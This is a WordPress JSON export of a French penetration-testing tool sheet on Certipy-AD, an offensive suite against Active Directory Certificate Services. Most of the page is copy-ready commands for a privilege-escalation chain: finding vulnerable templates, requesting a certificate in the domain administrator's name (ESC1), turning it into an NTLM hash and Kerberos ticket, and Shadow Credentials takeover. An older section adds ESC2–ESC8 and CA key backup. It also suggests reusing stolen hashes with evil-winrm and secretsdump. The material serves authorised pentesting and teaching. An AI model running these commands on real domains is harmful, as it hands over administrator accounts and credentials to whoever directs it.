{"id":289,"date":"2026-04-08T01:09:19","date_gmt":"2026-04-07T23:09:19","guid":{"rendered":"https:\/\/pandack.fr\/?pandack_outil=certipy-ad"},"modified":"2026-04-08T07:46:43","modified_gmt":"2026-04-08T05:46:43","slug":"certipy-ad","status":"publish","type":"pandack_outil","link":"https:\/\/pandack.fr\/?pandack_outil=certipy-ad","title":{"rendered":"Certipy-AD"},"content":{"rendered":"<h2>\ud83d\udccb Fiche Outil : Certipy-AD<\/h2>\n<hr>\n<div class=\"callout callout--warning\">\n<div class=\"callout__title\">\ud83d\udccb Complexit\u00e9 &amp; Impact<\/div>\n<div class=\"callout__content\">\n<p>AD CS est une surface d&rsquo;attaque complexe. Certipy automatise la d\u00e9tection des vuln\u00e9rabilit\u00e9s class\u00e9es de <strong>ESC1<\/strong> \u00e0 <strong>ESC13<\/strong>. Une exploitation r\u00e9ussie (ex: ESC1) permet souvent de passer instantan\u00e9ment d&rsquo;un utilisateur simple \u00e0 <strong>Administrateur de Domaine<\/strong> en forgean un certificat au nom de l&rsquo;administrateur.<\/p>\n<\/div>\n<\/div>\n<hr>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83c\udfaf Objectif Principal<\/div>\n<div class=\"callout__content\"><em>Identifier des mod\u00e8les de certificats (Certificate Templates) mal configur\u00e9s permettant \u00e0 un utilisateur standard de demander un certificat pour le compte de quelqu&rsquo;un d&rsquo;autre (usurpation d&rsquo;identit\u00e9), puis utiliser ce certificat pour s&rsquo;authentifier via Kerberos.<\/em><\/div>\n<\/div>\n<hr>\n<div class=\"callout callout--quote\">\n<div class=\"callout__title\">Syntaxe G\u00e9n\u00e9rale<\/div>\n<div class=\"callout__content\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy &lt;MODULE&gt; [options] -u &lt;USER&gt; -p &lt;PASS&gt; -target &lt;TARGET_IP&gt;<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<hr>\n<h2>Syntaxe<\/h2>\n<ul>\n<li>Permet de voir les certificats vuln\u00e9rable<\/li>\n<\/ul>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy find -u {user}@{domain.local} -p {password} -vulnerable -dc-ip {ip} -stdout<\/code><\/pre>\n<\/div>\n<\/div>\n<div class=\"callout__content\"><\/div>\n<\/div>\n<ul>\n<li>Voir les certificats vuln\u00e9rable exploitable avec bloodhound<\/li>\n<\/ul>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">code<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code>certipy-ad find -u john.brand@vuln.fsec -p &quot;Password1&quot; -dc-ip 10.20.20.10<\/code><\/pre>\n<\/div>\n<ul>\n<li>G\u00e9n\u00e9rer un fichier pfx<\/li>\n<\/ul>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy-ad req -u john.brand@vuln.fsec -p Password1 -dc-ip 10.20.20.10 -ca &quot;Vuln-DC01-CA&quot; -target &quot;dc01.vuln.fsec&quot; -template &quot;Custum_ESC1&quot; -upn &#039;administrateur@vuln.fsec&#039; -sid &#039;S-1-5-21-3114733929-3234434764-4270126014-500&#039;<\/code><\/pre>\n<\/div>\n<\/div>\n<div class=\"callout__content\"><\/div>\n<\/div>\n<ul>\n<li>R\u00e9cup\u00e9rer le hash<\/li>\n<\/ul>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy-ad auth -pfx administrateur.pfx -dc-ip 10.20.20.10 -debug\n#se connecter \u00e0 evil winrm avec le hash<\/code><\/pre>\n<\/div>\n<\/div>\n<div class=\"callout__content\"><\/div>\n<\/div>\n<h2>Description <\/h2>\n<p>Certipy est une suite offensive ciblant les <strong>Services de Certificats Active Directory (AD CS)<\/strong>. Elle automatise la cha\u00eene d&rsquo;attaque compl\u00e8te pour transformer une mauvaise configuration de certificat en compromission totale du domaine.<\/p>\n<p>Concr\u00e8tement, l&rsquo;outil permet de :<\/p>\n<ol>\n<li><strong>Auditer (Find) :<\/strong> Scanner l&rsquo;annuaire pour d\u00e9tecter les mod\u00e8les de certificats (Templates) mal configur\u00e9s. Il identifie automatiquement les vecteurs d&rsquo;attaque connus (classifi\u00e9s de <strong>ESC1<\/strong> \u00e0 <strong>ESC13<\/strong>).<\/li>\n<\/ol>\n<ol>\n<li><strong>Usurper (Req) :<\/strong> Exploiter ces failles pour demander et g\u00e9n\u00e9rer un certificat l\u00e9gitime au nom d&rsquo;un autre utilisateur (souvent l&rsquo;Administrateur).<\/li>\n<\/ol>\n<ol>\n<li><strong>S&rsquo;authentifier (Auth) :<\/strong> Convertir ce certificat vol\u00e9 en <strong>Hash NTLM<\/strong> ou en <strong>Ticket Kerberos<\/strong> utilisable pour se connecter au syst\u00e8me.<\/li>\n<\/ol>\n<h2>Les Vuln\u00e9rabilit\u00e9s (ESC)<\/h2>\n<table>\n<thead>\n<tr>\n<th><strong>Code<\/strong><\/th>\n<th><strong>Type de Faille<\/strong><\/th>\n<th><strong>Explication Simple<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>ESC1<\/strong><\/td>\n<td><strong>Usurpation d&rsquo;identit\u00e9 (SAN)<\/strong><\/td>\n<td>Le mod\u00e8le est mal configur\u00e9 : il autorise le demandeur \u00e0 sp\u00e9cifier le <strong>\u00ab\u00a0Subject Alternative Name\u00a0\u00bb<\/strong> (SAN).<\/p>\n<p>_Impact :_ L&rsquo;attaquant demande un certificat l\u00e9gitime mais inscrit \u00ab\u00a0Administrateur\u00a0\u00bb dans le champ SAN. L&rsquo;AD le croit et donne les droits.<\/td>\n<\/tr>\n<tr>\n<td><strong>ESC4<\/strong><\/td>\n<td><strong>Contr\u00f4le d&rsquo;Acc\u00e8s (ACL)<\/strong><\/td>\n<td>L&rsquo;attaquant poss\u00e8de des droits d&rsquo;\u00e9criture (<strong>Write<\/strong>) sur l&rsquo;objet \u00ab\u00a0Mod\u00e8le de Certificat\u00a0\u00bb dans l&rsquo;AD.<\/p>\n<p>_Impact :_ L&rsquo;attaquant modifie la configuration du mod\u00e8le pour le rendre volontairement vuln\u00e9rable (par exemple, en activant la faille ESC1) afin de l&rsquo;exploiter.<\/td>\n<\/tr>\n<tr>\n<td><strong>ESC8<\/strong><\/td>\n<td><strong>NTLM Relay (Web)<\/strong><\/td>\n<td>Le service de certificats poss\u00e8de une interface web (Web Enrollment) active sur le port 80\/443.<\/p>\n<p>_Impact :_ Il est possible d&rsquo;intercepter une authentification NTLM sur le r\u00e9seau (via Responder ou PetitPotam) et de la relayer vers cette page web pour r\u00e9cup\u00e9rer un certificat au nom de la victime.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Param\u00e8tre (Flag) <\/h2>\n<table>\n<thead>\n<tr>\n<th><strong>Module \/ Flag<\/strong><\/th>\n<th><strong>Description<\/strong><\/th>\n<th><strong>Note \/ Exemple<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong><code>find<\/code><\/strong><\/td>\n<td><strong>\u00c9num\u00e9ration<\/strong>. Scanne l&rsquo;AD pour trouver les CA et les mod\u00e8les vuln\u00e9rables.<\/td>\n<td>Le module le plus important pour commencer.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>req<\/code><\/strong><\/td>\n<td><strong>Request<\/strong>. Demande un nouveau certificat \u00e0 l&rsquo;autorit\u00e9 (CA).<\/td>\n<td>Utilis\u00e9 pour l&rsquo;exploitation (ex: ESC1).<\/td>\n<\/tr>\n<tr>\n<td><strong><code>auth<\/code><\/strong><\/td>\n<td><strong>Authenticate<\/strong>. Utilise un certificat (.pfx) pour obtenir un TGT Kerberos et le hash NTLM.<\/td>\n<td>Transforme le fichier certificat en acc\u00e8s r\u00e9el.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>shadow<\/code><\/strong><\/td>\n<td>Attaque <strong>Shadow Credentials<\/strong>. Modifie l&rsquo;attribut <code>msDS-KeyCredentialLink<\/code>.<\/td>\n<td>Permet la prise de contr\u00f4le d&rsquo;un compte sans changer son mot de passe.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>-vulnerable<\/code><\/strong><\/td>\n<td>Filtre la sortie de <code>find<\/code> pour n&rsquo;afficher que les vuln\u00e9rabilit\u00e9s confirm\u00e9es.<\/td>\n<td>Indispensable pour \u00e9viter le bruit.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>-template<\/code><\/strong><\/td>\n<td>Sp\u00e9cifie le nom du mod\u00e8le de certificat \u00e0 cibler.<\/td>\n<td>Ex: <code>-template User<\/code><\/td>\n<\/tr>\n<tr>\n<td><strong><code>-ca<\/code><\/strong><\/td>\n<td>Sp\u00e9cifie le nom de l&rsquo;Autorit\u00e9 de Certification.<\/td>\n<td>Souvent trouv\u00e9 via la commande <code>find<\/code>.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>-upn<\/code><\/strong><\/td>\n<td><strong>User Principal Name<\/strong>. Sp\u00e9cifie l&rsquo;utilisateur que l&rsquo;on veut usurper.<\/td>\n<td>Ex: <code>-upn administrator@domaine.local<\/code>.<\/td>\n<\/tr>\n<tr>\n<td><strong><code>-dc-ip<\/code><\/strong><\/td>\n<td>Adresse IP du Contr\u00f4leur de Domaine.<\/td>\n<td>N\u00e9cessaire si le DNS n&rsquo;est pas configur\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Exemple <\/h2>\n<h4>1. \u00c9num\u00e9ration des vuln\u00e9rabilit\u00e9s (L&rsquo;audit) <\/h4>\n<p>Recherche automatique des failles connues (ESC1, ESC2, etc.) et sauvegarde des r\u00e9sultats._<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy find -u &#039;peter&#039; -p &#039;Pass123&#039; -dc-ip 10.10.10.10 -vulnerable -stdout<\/code><\/pre>\n<\/div>\n<p>_Si la sortie affiche <code>[!] Vulnerabilities found: ESC1<\/code>, l&rsquo;exploitation est possible._<\/p>\n<h4>2. Exploitation ESC1 (Demande de certificat malveillant) <\/h4>\n<p>On demande un certificat en pr\u00e9tendant \u00eatre l&rsquo;Administrateur (via le template vuln\u00e9rable trouv\u00e9, ex: &lsquo;WebServer&rsquo;)._<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy req -u &#039;peter&#039; -p &#039;Pass123&#039; -dc-ip 10.10.10.10 -ca &#039;CORPORATE-CA&#039; -template &#039;VulnTemplate&#039; -upn administrator@marvel.local<\/code><\/pre>\n<\/div>\n<p>_R\u00e9sultat : Un fichier <code>administrator.pfx<\/code> est g\u00e9n\u00e9r\u00e9._<\/p>\n<h4>3. Authentification (Transformation en Ticket) <\/h4>\n<p>On utilise le certificat vol\u00e9 pour s&rsquo;authentifier aupr\u00e8s du KDC et r\u00e9cup\u00e9rer un ticket._<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10<\/code><\/pre>\n<\/div>\n<p>_R\u00e9sultat : R\u00e9cup\u00e9ration du <strong>NT Hash<\/strong> de l&rsquo;admin et d&rsquo;un fichier <strong>ccache<\/strong> (Ticket TGT)._<\/p>\n<h4>4. Shadow Credentials (Persistance \/ Takeover)<\/h4>\n<p>Ajout d&rsquo;une cl\u00e9 au compte machine pour obtenir un acc\u00e8s sans mot de passe._<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">certipy shadow auto -u &#039;peter&#039; -p &#039;Pass123&#039; -account &#039;PC-CIBLE$&#039; -dc-ip 10.10.10.10<\/code><\/pre>\n<\/div>\n<h2>Suivi &amp; Recommandation <\/h2>\n<p><strong>1. D\u00e9tection (<code>find<\/code>)<\/strong> Lancer syst\u00e9matiquement <code>certipy find -vulnerable<\/code> d\u00e8s qu&rsquo;un compte valide est compromis sur le domaine.<\/p>\n<ul>\n<li>Analyser les fichiers texte ou JSON g\u00e9n\u00e9r\u00e9s. Rechercher la mention <strong>\u00ab\u00a0Enrollee Supplies Subject: True\u00a0\u00bb<\/strong> combin\u00e9e \u00e0 <strong>\u00ab\u00a0Client Authentication\u00a0\u00bb<\/strong> (Signature de l&rsquo;ESC1).<\/li>\n<\/ul>\n<p><strong>2. Exploitation (<code>req<\/code>)<\/strong> Si un template vuln\u00e9rable est identifi\u00e9, noter son nom et le nom de la CA (\u00ab\u00a0Cert Authority\u00a0\u00bb). Lancer la requ\u00eate en ciblant un compte \u00e0 haut privil\u00e8ge (<code>-upn administrator<\/code> ou <code>-upn DC01$<\/code>).<\/p>\n<p><strong>3. Acc\u00e8s (<code>auth<\/code>)<\/strong> Une fois le <code>.pfx<\/code> obtenu, utiliser <code>certipy auth<\/code>. La commande retourne souvent le <strong>Hash NTLM<\/strong> de la victime. Ce hash peut \u00eatre utilis\u00e9 directement avec :<\/p>\n<ul>\n<li><code>evil-winrm -H &lt;HASH&gt;<\/code><\/li>\n<li><code>impacket-secretsdump<\/code><\/li>\n<\/ul>\n<p><strong>4. Nettoyage<\/strong> Les certificats \u00e9mis sont loggu\u00e9s sur le serveur CA. En mission r\u00e9elle, il convient de r\u00e9voquer les certificats cr\u00e9\u00e9s si possible, bien que cela n\u00e9cessite souvent des droits d&rsquo;administration.<\/p>\n<h2>OLD<\/h2>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># \u00c9num\u00e9ration des templates vuln\u00e9rables\ncertipy find -u user@domain.local -p password -dc-ip 192.168.1.100\n\n# \u00c9num\u00e9ration compl\u00e8te avec output\ncertipy find -u user@domain.local -p password -dc-ip 192.168.1.100 \n    -output certipy_enum\n\n# ESC1 - Template avec SAN\ncertipy req -u user@domain.local -p password -dc-ip 192.168.1.100 \n    -ca CA-NAME -template VulnerableTemplate \n    -upn administrator@domain.local\n\n# ESC2 - Any Purpose EKU\ncertipy req -u user@domain.local -p password -dc-ip 192.168.1.100 \n    -ca CA-NAME -template SubCA\n\n# ESC3 - Enrollment Agent\ncertipy req -u user@domain.local -p password -dc-ip 192.168.1.100 \n    -ca CA-NAME -template EnrollmentAgent\n\n# ESC4 - Vulnerable ACL\ncertipy template -u user@domain.local -p password \n    -template VulnerableTemplate -save-old\n\n# ESC8 - Web Enrollment\ncertipy relay -ca http:\/\/ca.domain.local\/certsrv\/\n\n# Authentification avec certificat\ncertipy auth -pfx administrator.pfx -dc-ip 192.168.1.100\n\n# Backup de certificat (Golden Certificate)\ncertipy ca -u admin@domain.local -p password \n    -ca CA-NAME -backup<\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Outil offensif complet pour \u00e9num\u00e9rer et exploiter les mauvaises configurations des services de certificats Active Directory (AD CS).<\/p>\n","protected":false},"template":"","meta":{"footnotes":""},"phase_pentest":[26],"categorie_fonctionnelle":[],"port_numero":[49,22,34,41],"protocole":[39,40,47,30],"tag_outil":[51,52,53,54],"class_list":["post-289","pandack_outil","type-pandack_outil","status-publish","hentry","phase_pentest-exploitation","port_numero-49","port_numero-22","port_numero-34","port_numero-41","protocole-http","protocole-https","protocole-rpc","protocole-smb","tag_outil-acces-a-distance","tag_outil-adcs","tag_outil-esc1","tag_outil-esc8"],"_links":{"self":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil\/289","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil"}],"about":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/types\/pandack_outil"}],"version-history":[{"count":1,"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil\/289\/revisions"}],"predecessor-version":[{"id":306,"href":"https:\/\/pandack.fr\/index.php?rest_route=\/wp\/v2\/pandack_outil\/289\/revisions\/306"}],"wp:attachment":[{"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=289"}],"wp:term":[{"taxonomy":"phase_pentest","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fphase_pentest&post=289"},{"taxonomy":"categorie_fonctionnelle","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategorie_fonctionnelle&post=289"},{"taxonomy":"port_numero","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fport_numero&post=289"},{"taxonomy":"protocole","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fprotocole&post=289"},{"taxonomy":"tag_outil","embeddable":true,"href":"https:\/\/pandack.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftag_outil&post=289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}